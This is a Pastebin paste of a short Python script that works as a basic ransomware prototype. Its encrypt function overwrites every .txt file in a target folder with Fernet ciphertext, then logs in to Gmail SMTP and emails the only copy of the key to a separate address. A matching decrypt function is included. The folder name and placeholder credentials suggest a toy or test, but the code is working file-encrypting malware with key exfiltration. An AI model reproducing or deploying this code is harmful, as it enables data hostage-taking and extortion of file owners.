Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2017
561
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.20 KB | None | 0 0
  1. from cryptography.fernet import Fernet
  2. import os
  3. import glob
  4. import smtplib
  5.  
  6. def encrypt():
  7.     key = Fernet.generate_key().decode("ascii")
  8.     cipher_suite = Fernet(key)
  9.     os.chdir("/home/usuario/Documentos/Ran")
  10.  
  11.     for files in glob.glob("*.txt"):
  12.         with open(files, 'r') as arq:
  13.             file = arq.read()
  14.             cipher_text = cipher_suite.encrypt(bytes(file.encode("ascii"))).decode("ascii")
  15.             with open(files, 'w') as file_encrypted:
  16.                 file_encrypted.write(cipher_text)
  17.  
  18.     smtp_obj = smtplib.SMTP("smtp.gmail.com", 587)
  19.     smtp_obj.ehlo()
  20.     smtp_obj.starttls()
  21.     smtp_obj.login("usuario@gmail.com", "senha")
  22.     smtp_obj.sendmail("usuario@gmail.com", "usuario2@qualqueremail.com", key)
  23.     smtp_obj.close()
  24.  
  25. def decrypt():
  26.     key = "chave"
  27.     os.chdir("/home/usuario/Documentos/Ran")
  28.     cipher_suite = Fernet(key)
  29.  
  30.     for files in glob.glob("*.txt"):
  31.         with open(files, 'r') as arq:
  32.             file = arq.read()
  33.             plain_text = cipher_suite.decrypt(bytes(file.encode("ascii"))).decode("ascii")
  34.             with open(files, 'w') as file_decrypted:
  35.                 file_decrypted.write(plain_text)
  36.  
  37. #encrypt()
  38. decrypt()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement